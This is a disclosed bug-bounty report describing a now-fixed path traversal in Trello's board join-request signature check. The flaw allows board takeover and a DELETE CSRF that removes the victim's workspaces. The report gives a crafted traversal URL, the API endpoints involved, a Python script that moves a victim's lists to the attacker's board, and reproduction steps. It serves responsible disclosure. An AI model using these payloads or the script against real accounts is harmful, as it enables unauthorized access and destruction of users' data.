One-click takeover of the victim's board and a DELETE CSRF that can permanently delete any workspace or board the victim has access to.

Disclosed by
Abhinav25
  • Engagement Trello
  • Disclosed date 3 months ago
  • Points 20
  • Priority P2 Bugcrowd's VRT priority rating
  • Status Resolved This vulnerability has been accepted and fixed
Summary by Trello

Path Traversal Vulnerability in Trello

Summary by Abhinav25

A user could takeover a Trello board and also exploit the delete CSRF to delete any resource from the victims account.

Report details
  • Submitted

  • Target Location

    trello.com
  • Target category

    Web App

  • VRT

    Server Security Misconfiguration > Path Traversal
  • Priority

    P2
  • Bug URL
    Empty
  • Description

    Path Traversal

    Overview of the Vulnerability

    While accepting a user's join request on my board, I discovered a client-side path traversal vulnerability that could allow an attacker to gain unauthorized access to a victim's board and delete any workspace or board from the victim's account. I am demonstrating the impact by deleting the victim's workspace, but in reality, it is a DELETE CSRF vulnerability that can be exploited on any endpoint.

    Gaining unauthorized access to victims board

    • An attacker sends the following link to the victim, where the board link corresponds to the victim's board, and the inviteMemberId is the attacker's memberId.

    https://trello.com/b/yRvB2t1c/victims-board?inviteMemberId=6711d103e5e01137df8a7db2&signature=/../../../../../../any/endpoint

    • A subsequent request is made to https://trello.com/any/endpointand the issue here is that if the response to this request returns a 200 status code, it is considered a valid signature. Since the request to any/endpoint returns a 200 OK response with a 'not found' page, it is also considered a valid access request. As a result, another request is made to add the attacker to the board via the following endpoint:

    PUT /1/boards/6713a82d6cd9c8074a8de8c2/members/6711d103e5e01137df8a7db2?type=normal

    Screenshot%202024-10-19%20202318.png

    • But there is one problem for the attacker: as seen in the image above, a clear message is shown to the victim that another user has been added to the board. This alerts the victim, who would likely remove the attacker from the board immediately. To address this, I created a Python script that runs every 3 seconds. As soon as the victim adds the attacker to the board, the entire board list is transferred to the attacker's board, and everything is removed from the victim's board. Here is the script:
    import requests
    import time
    import json
    
    # Replace the value of cookie with attacker's cookie
    cookies = {
        'cookie': '',
    }
    
    # Enter the id of the attacker's board where the lists will be transferred to 
    id_board = ''
    
    # Enter the dsc value used as a csrf token
    dsc = ''
    
    # Edit the shortlink with the victims board 
    url = f'https://trello.com/1/board/victimsBoardShortLink/lists'
    
    def get_lists():
        print("Sending GET request to retrieve lists...")
        response = requests.get(url, cookies=cookies)
    
        if response.status_code == 200:
            print("GET request successful. Status code: 200")
            lists_data = response.json()
            list_ids = [item['id'] for item in lists_data]
            print(f"Extracted list IDs: {list_ids}")
            return list_ids
        elif response.status_code == 401:
            print("Unauthorized access (401). Retrying in 3 seconds...")
            return None
        else:
            print(f"Received unexpected status code: {response.status_code}")
            return None
    
    def update_lists(list_ids):
        for list_id in list_ids:
            print(f"Updating list with ID: {list_id}...")
            put_url = f'https://trello.com/1/lists/{list_id}'
            body = {
                'pos': 24576,
                'idBoard': id_board,
                'dsc': dsc
            }
            response = requests.put(put_url, cookies=cookies, json=body)
    
            if response.status_code == 200:
                print(f"Successfully transferred the list ID: {list_id}")
            else:
                print(f"Failed to transfer the list ID: {list_id}. Status code: {response.status_code}")
    
    def main():
        while True:
            list_ids = get_lists()
    
            if list_ids is not None:
                update_lists(list_ids)
                break
            time.sleep(3)
    
    if __name__ == "__main__":
        main()
    
    • Change all the variables in the script as mentioned and run it before sending the link to the victim

    Deleting any workspace/board the victim has access to

    • Originally, when the access request signature was verified with a GET request to the endpoint GET /1/board/6713a82d6cd9c8074a8de8c2/accessRequests/6711d103e5e01137df8a7db2/5a7edc4eeba3fa6473c978a908818b77, a subsequent request was made to add the user to the board via the endpoint:

    PUT /1/boards/6713a82d6cd9c8074a8de8c2/members/6711d103e5e01137df8a7db2?type=normal.

    • Afterward, a DELETE request would be made to remove the access request, since it had been resolved. The DELETE request would be sent to the same endpoint used in the GET request, as follows:

    DELETE /1/board/6713a82d6cd9c8074a8de8c2/accessRequests/6711d103e5e01137df8a7db2/5a7edc4eeba3fa6473c978a908818b77

    • But as we have seen earlier, we traversed the path to https://trello.com/any/endpoint, so the DELETE request would also be sent to:

    DELETE /any/endpoint.

    • We can exploit this by, instead of sending the request to /any/endpoint, traverse the path to GET /1/organizations/victimsorgshortname, which would send the DELETE request to this endpoint.

    DELETE /1/organizations/victimsorgshortname

    • This would result in the victim's workspace being deleted.

    Business Impact

    An attacker can gain unauthorized access to the victim's boards and utilize the DELETE method CSRF to delete any item from the victim's account.

    Steps to Reproduce

    • Create account A and B as the attacker and victim account

    • Create a new board on each of the accounts, as well as an additional workspace from the victim's account, which we will later delete.

    • For the attack we need the victim's board link, attackers member id and the workspace id of the victim.

    • You can obtain the victim's board link by simply checking the URL displayed in the browser when you open the victim's board.

    Screenshot%202024-10-20%20110810.png

    • To get the attackers member id visit the following url from the attackers account:

    https://trello.com/1/members/me?fields=id

    • To delete the victim's workspace, simply open the workspace and copy the short name from the URL. For example, in the URL https://trello.com/w/bugbounty122, bugbounty122 is the workspace short name.

    • Now with all the ids modify the below url:

    https://trello.com/b/yRvB2t1c/victims-board?inviteMemberId={attackersmemberid}&signature=/../../../../../../1/organizations/victimsorgshortname

    • Before sending it to the victim run the python script i have mentioned above and also change the variables in the script as stated.

    • Open the link as the victim and observe that all of the boards have been transferred to the attacker's board. Additionally, the extra workspace we created has now been deleted.

    Proof of Concept (PoC)

    I am attaching a video proof of concept (POC) to demonstrate the attack. I recommend watching the video first before attempting to reproduce the issue on your own.

Activity